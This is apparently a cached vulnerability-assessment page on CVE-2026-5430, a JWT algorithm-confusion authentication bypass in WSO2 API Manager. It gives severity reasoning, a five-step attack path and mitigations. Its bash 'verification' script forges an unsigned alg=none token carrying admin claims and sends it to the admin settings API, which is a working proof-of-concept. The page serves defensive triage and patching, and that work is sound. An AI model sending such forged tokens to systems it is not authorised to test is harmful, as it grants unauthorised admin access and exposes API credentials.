← Back to Feed CACHED · 2026-09-16 16:19:23 · CACHE_KEY CVE-2026-5430
CVE-2026-5430 · CWE-347 · Disclosed 2026-08-06

The JWT authentication mechanism accepts tokens signed with algorithms other than those explicitly…

ASSESSED — NOISGATE
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

Someone left the master key under the doormat and now strangers are walking through your API gateway

CVE-2026-5430 is a JWT algorithm confusion flaw in WSO2's API management stack — API Manager (4.1.0–4.6.0), API Control Plane (4.5.0–4.6.0), Traffic Manager (4.5.0–4.6.0), and Universal Gateway (4.5.0–4.6.0). The token validation logic accepts JWTs signed with algorithms that were never configured or intended to be supported. An attacker crafts a token specifying such an algorithm, and the system shrugs and lets it through — no credentials, no user interaction, nothing. The forged token can carry admin-level claims, handing the attacker full control of the management plane, every registered API's backend credentials, consumer keys, and application secrets.

WSO2 rated this a CVSS 10.0 (Scope:Changed for multi-tenant) and 9.8 (Scope:Unchanged for single-tenant). The vendor severity is accurate and may even understate operational risk. The bug is trivially exploitable from the network with zero prerequisites, the affected component is an API gateway that by design faces the internet, and WatchTowr confirmed active exploitation with forged admin tokens landing on honeypots starting September 13, 2026. The patch has been available since April 2026 — five months of exposure for anyone who hasn't updated.

"Unauthenticated JWT bypass in WSO2 API Manager is under active exploitation — patch immediately."
02 · The Attack Path

5 steps from start to impact.

STEP 01

Identify exposed WSO2 instance

The attacker scans for WSO2 API Manager management consoles or gateway endpoints exposed to the internet. WSO2 instances expose well-known paths (/carbon, /publisher, /devportal, /api/am/) that are trivially fingerprinted. Shodan and Censys queries for WSO2-specific HTTP headers or login pages return results.
Conditions required:
  • WSO2 API Manager/Gateway reachable over the network
Where this breaks in practice:
  • Instances behind a VPN or WAF with path-based restrictions are not directly reachable
Detection/coverage: Shodan/Censys/FOFA queries for WSO2 fingerprints; external attack surface management tools
STEP 02

Craft JWT with unsupported algorithm

The attacker constructs a JWT with a header specifying an algorithm the WSO2 instance does not explicitly support (e.g., none, HS256 when only RS256 is configured). The payload includes admin-level claims such as admin role or superadmin scope. No knowledge of the signing key is required because the unsupported algorithm path skips proper signature verification entirely.
Conditions required:
  • Knowledge of expected JWT claim structure (publicly documented in WSO2 docs)
Where this breaks in practice:
  • None — the claim structure is well-documented and stable across versions
STEP 03

Submit forged token to API gateway

The attacker sends the crafted JWT in the Authorization: Bearer header to any protected API endpoint or management API. The vulnerable token validation logic encounters the unsupported algorithm, fails to reject it, and accepts the token as valid. The attacker is now authenticated as whatever principal the token claims — typically admin.
Conditions required:
  • Vulnerable WSO2 version (unpatched)
Where this breaks in practice:
  • None for unpatched instances — this is a single HTTP request
Detection/coverage: WAF rules inspecting JWT alg header values; application-layer logging of JWT algorithm mismatches
STEP 04

Harvest API credentials and secrets

With admin access to the API Manager management plane, the attacker enumerates all registered APIs, their backend endpoint URLs, and the OAuth consumer keys and secrets for every registered application. This data enables direct access to backend services, bypassing the gateway entirely. WatchTowr confirmed this harvesting in observed attacks.
Conditions required:
  • Admin-level access obtained in step 3
Where this breaks in practice:
  • Backend services that require additional network-layer auth (mTLS, IP allowlists) limit lateral reach
Detection/coverage: Audit logs showing bulk API/application enumeration from unexpected source IPs
STEP 05

Lateral movement to backend services

Using harvested backend credentials and endpoint URLs, the attacker pivots to internal services that the API gateway proxies. WatchTowr described this as 'Lateral Movement-as-a-Service' — the gateway's own configuration becomes a map of the internal service mesh with valid credentials for each destination.
Conditions required:
  • Backend services reachable from the attacker's position or from the compromised gateway host
Where this breaks in practice:
  • Network segmentation between the gateway and backends may require additional pivoting
Detection/coverage: Anomalous backend access patterns; SIEM correlation of gateway admin actions with unusual backend calls
03 · Intelligence Metadata

The supporting signals.

In-the-Wild ExploitationActive. WatchTowr honeypots captured forged admin JWT tokens arriving September 13, 2026. Confirmed by SecurityWeek and The Hacker News on September 16, 2026.
KEV StatusNot listed as of 2026-09-17. Expect imminent addition given confirmed exploitation.
Proof-of-ConceptNo named public PoC repository identified, but the attack is trivial — a single crafted JWT header. WatchTowr's blog post effectively serves as a walkthrough.
EPSS0.00321 (≈ 68th percentile). Low model score likely reflects the CVE's recent publication date (August 2026); does not reflect current active exploitation.
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 multi-tenant; 9.8 single-tenant (S:U). Every sub-metric is worst-case.
Affected VersionsWSO2 API Manager 4.1.0–4.6.0, API Control Plane 4.5.0–4.6.0, Traffic Manager 4.5.0–4.6.0, Universal Gateway 4.5.0–4.6.0
Fixed VersionsAPI Manager: 4.6.0 Update 21, 4.5.0 Update 57, 4.4.0 Update 72, 4.3.0 Update 108, 4.2.0 Update 197, 4.1.0 Update 257. API Control Plane: 4.6.0 Update 22, 4.5.0 Update 58. Traffic Mgr: 4.6.0 Update 21, 4.5.0 Update 56. Universal GW: 4.6.0 Update 21, 4.5.0 Update 57.
Exposure DataWSO2 API Manager instances are commonly internet-facing by design (API gateway role). LEXFO research documented numerous internet-exposed WSO2 instances. No precise Shodan/Censys count available at time of assessment.
Disclosure TimelinePatch released April 2026. Advisory published May 3, 2026. CVE record published August 6, 2026. Active exploitation detected September 13, 2026.
ReporterHacktron Team (responsible disclosure to WSO2). Active exploitation research by Yordan Ganchev, WatchTowr.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to CRITICAL (9.8/10)

The single most decisive factor is zero-friction unauthenticated remote code execution on a network-edge API gateway with confirmed active exploitation. The affected component is an internet-facing API gateway by design, meaning the entire attack chain — from initial access to credential harvesting — completes in a single unauthenticated HTTP request with no complexity barriers, and attackers are already doing it in the wild.

HIGH Vulnerability mechanics and exploitability
HIGH Active exploitation status
MEDIUM Breadth of internet-exposed install base

Why this verdict

  • Zero authentication required: The attack chain starts and finishes with a single unauthenticated HTTP request carrying a crafted JWT. No credentials, no user interaction, no race conditions. AC:L/PR:N/UI:N is the worst-case access profile — no friction to discount.
  • Role multiplier: WSO2 API Manager is a network edge appliance / API gateway — it exists to sit between the internet and backend services. ≥50% of deployments are internet-facing by design. A compromised API gateway yields: (a) admin control of the management plane, (b) every registered API's backend URL and credentials, (c) every OAuth consumer key and secret. Blast radius is fleet-scale lateral movement into the entire backend service mesh. This places the component squarely in the high-value-role catalog, setting a CRITICAL floor.
  • Active exploitation confirmed: WatchTowr honeypots captured forged admin tokens on September 13, 2026. This is not theoretical — attackers are weaponizing this now, four days ago. The patch has been available for five months, meaning the unpatched population is self-selected and likely includes production systems.
  • Trivial weaponization: JWT algorithm confusion is a well-understood attack class. No custom tooling or deep reverse engineering is needed — modify the alg header, set admin claims, send the request. The skill floor for exploitation is extremely low.

Why not higher?

The vendor already assigned the maximum possible CVSS score of 10.0. We adjust to 9.8 to reflect that most enterprise deployments are single-tenant (Scope:Unchanged), but the verdict remains CRITICAL. There is no higher severity bucket.

Why not lower?

Downgrading below CRITICAL is impossible here. The component is a network edge API gateway — internet exposure is its entire purpose. There are zero authentication prerequisites, zero complexity barriers, and confirmed active exploitation. The blast radius extends beyond the gateway itself into every backend service it proxies. Even if an organization has the gateway behind a VPN (atypical), the role-multiplier floor for a canonical network-edge component with this exploitability profile is CRITICAL.

05 · Compensating Control

What to do — in priority order.

  1. Block unsigned and algorithm-mismatched JWTs at the WAF/reverse proxy — Deploy a WAF rule or reverse proxy filter (e.g., ModSecurity, Cloudflare, AWS WAF) that inspects the JWT alg header and rejects tokens using none, HS256, or any algorithm not in your configured allow-list. This is the fastest compensating control — deploy within 3 days per the noisgate mitigation SLA for CRITICAL.
  2. Restrict management plane access to internal networks — If not already done, move /carbon, /publisher, /devportal, and /api/am/admin paths behind a VPN or IP allowlist immediately. The management APIs should never be internet-facing. This limits the attack surface to internal-only while you patch.
  3. Rotate all API credentials and consumer keys/secrets — Assume compromise if your instance was internet-facing and unpatched between May and September 2026. Rotate every OAuth consumer key/secret, backend service credential, and admin password. Attackers who already exploited the bug retain access via harvested credentials even after patching.
  4. Enable and monitor API Manager audit logs — Turn on verbose audit logging for the management plane. Alert on bulk API enumeration, new admin user creation, and JWT algorithm mismatch events. Forward to SIEM for correlation.
What doesn't work
  • Rate limiting / throttling — the exploit requires only a single HTTP request with a forged JWT. Rate limits do not prevent one-shot authentication bypass.
  • Network-level DDoS protection — this is not a volumetric attack; it is a single valid-looking API request with a crafted bearer token.
  • Upgrading JWT signing keys / rotating RSA keys — the vulnerability is in algorithm validation logic, not in the key material. New keys do not fix the parsing flaw.
06 · Verification

Crowdsourced verification payload.

Run this script on any host with curl and jq installed, pointed at the WSO2 API Manager management endpoint. Usage: bash check_cve_2026_5430.sh https://wso2.example.com. No special privileges required — it makes a single unauthenticated HTTP request.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# CVE-2026-5430 WSO2 JWT Algorithm Confusion Check
# Usage: bash check_cve_2026_5430.sh <WSO2_BASE_URL>
# Outputs: VULNERABLE / PATCHED / UNKNOWN
# Requires: curl, jq, base64

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <WSO2_BASE_URL>"
  echo "Example: $0 https://apim.example.com"
  exit 2
fi

BASE_URL="${1%/}"

# Craft a minimal JWT with alg=none and admin claims
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","iss":"wso2.org/products/am","exp":9999999999,"http://wso2.org/claims/role":"admin,Internal/everyone"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
TOKEN="${HEADER}.${PAYLOAD}."

# Attempt to access a management API endpoint with the forged token
HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE_URL}/api/am/admin/v4/settings" 2>/dev/null || echo "000")

case "$HTTP_CODE" in
  200|201|202)
    echo "VULNERABLE"
    echo "CVE-2026-5430: The server accepted a JWT with alg=none and returned HTTP ${HTTP_CODE}."
    echo "ACTION REQUIRED: Apply WSO2 update immediately."
    exit 1
    ;;
  401|403)
    echo "PATCHED"
    echo "The server rejected the forged JWT (HTTP ${HTTP_CODE}). Algorithm validation appears functional."
    exit 0
    ;;
  000)
    echo "UNKNOWN"
    echo "Could not connect to ${BASE_URL}. Verify the URL and network connectivity."
    exit 2
    ;;
  *)
    echo "UNKNOWN"
    echo "Unexpected HTTP response code: ${HTTP_CODE}. Manual verification recommended."
    exit 2
    ;;
esac
07 · Bottom Line

If you remember one thing.

TL;DR
This is a five-alarm fire. CVE-2026-5430 is actively exploited in the wild as of September 13, 2026, against a component that is internet-facing by design. The patch has been available since April — if you haven't applied it, you are likely already compromised. Per the noisgate mitigation SLA for CRITICAL, deploy the WAF-level JWT algorithm filter and restrict management plane access within 3 days (by September 20). Per the noisgate remediation SLA, apply the vendor patch (e.g., API Manager 4.6.0 Update 21) within 90 days, but given active exploitation, treat patching as an emergency — aim for this week. Immediately rotate all API credentials, consumer keys, and admin passwords on any instance that was internet-facing and unpatched between May and September 2026. Assume breach and hunt for indicators of forged JWT usage in your access logs.

Sources

  1. WSO2 Security Advisory WSO2-2026-5328
  2. SecurityWeek — Enterprises Warned of Attacks Exploiting WSO2 Vulnerability
  3. The Hacker News — Active Exploitation Attempts Target WSO2 API Manager JWT Bypass
  4. Cyber Security News — Critical WSO2 Vulnerability
  5. GitHub — WSO2 carbon-apimgt fix PR #13752
  6. GitHub — WSO2 product-apim fix PR #14167
  7. Strix.ai — CVE-2026-5430 Detail
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.